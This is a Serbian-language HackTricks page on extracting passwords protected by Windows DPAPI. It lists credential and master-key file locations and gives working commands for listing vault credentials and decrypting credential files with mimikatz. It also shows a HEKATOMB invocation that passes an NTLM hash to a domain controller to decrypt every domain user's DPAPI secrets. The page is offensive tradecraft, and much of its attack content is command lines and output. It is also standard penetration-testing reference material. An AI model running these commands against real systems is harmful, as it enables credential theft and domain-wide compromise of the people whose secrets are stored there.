DPAPI - Extracting Passwords

Podržite HackTricks

​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Šta je DPAPI

API za zaštitu podataka (DPAPI) se prvenstveno koristi unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva, koristeći ili korisničke ili sistemske tajne kao značajan izvor entropije. Ovaj pristup pojednostavljuje enkripciju za programere omogućavajući im da enkriptuju podatke koristeći ključ izveden iz korisničkih lozinki ili, za sistemsku enkripciju, tajne autentifikacije domena sistema, čime se eliminiše potreba da programeri sami upravljaju zaštitom enkripcijskog ključa.

Zaštićeni Podaci od DPAPI

Među ličnim podacima zaštićenim od DPAPI su:

  • Lozinke i podaci za automatsko popunjavanje Internet Explorer-a i Google Chrome-a

  • Lozinke za e-mail i interne FTP naloge za aplikacije kao što su Outlook i Windows Mail

  • Lozinke za deljene foldere, resurse, bežične mreže i Windows Vault, uključujući enkripcijske ključeve

  • Lozinke za veze sa udaljenim desktop-om, .NET Passport i privatni ključevi za razne svrhe enkripcije i autentifikacije

  • Mrežne lozinke kojima upravlja Credential Manager i lični podaci u aplikacijama koje koriste CryptProtectData, kao što su Skype, MSN messenger i druge

Lista Vault

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Credential Files

Zaštićene datoteke sa akreditivima mogu se nalaziti u:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Dobijte informacije o kredencijalima koristeći mimikatz dpapi::cred, u odgovoru možete pronaći zanimljive informacije kao što su šifrovani podaci i guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Možete koristiti mimikatz modul dpapi::cred sa odgovarajućim /masterkey za dešifrovanje:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Master Keys

DPAPI ključevi koji se koriste za enkripciju RSA ključeva korisnika čuvaju se u %APPDATA%\Microsoft\Protect\{SID} direktorijumu, gde je {SID} Identifikator bezbednosti tog korisnika. DPAPI ključ se čuva u istom fajlu kao i glavni ključ koji štiti privatne ključeve korisnika. Obično je to 64 bajta nasumičnih podataka. (Primetite da je ovaj direktorijum zaštićen, tako da ga ne možete listati koristeći dir iz cmd, ali ga možete listati iz PS).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Ovo je kako izgleda skup Master ključeva korisnika:

Obično svaki master ključ je enkriptovani simetrični ključ koji može dekriptovati drugi sadržaj. Stoga, ekstrakcija enkriptovanog Master ključa je zanimljiva kako bi se dekriptovao kasnije taj drugi sadržaj enkriptovan njime.

Ekstrakcija master ključa i dekripcija

Pogledajte post https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ za primer kako da se ekstrakuje master ključ i dekriptuje.

SharpDPAPI

SharpDPAPI je C# port nekih DPAPI funkcionalnosti iz @gentilkiwi's Mimikatz projekta.

HEKATOMB

HEKATOMB je alat koji automatizuje ekstrakciju svih korisnika i računara iz LDAP direktorijuma i ekstrakciju rezervnog ključa kontrolera domena putem RPC-a. Skripta će zatim rešiti sve IP adrese računara i izvršiti smbclient na svim računarima kako bi prikupila sve DPAPI blobove svih korisnika i dekriptovala sve sa rezervnim ključem domena.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Sa listom računara ekstrakovanih iz LDAP-a možete pronaći svaku podmrežu čak i ako ih niste znali!

"Jer prava Domain Admin nisu dovoljna. Hakujte ih sve."

DonPAPI

DonPAPI može automatski da izvuče tajne zaštićene DPAPI-jem.

Reference

RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Podržite HackTricks

Last updated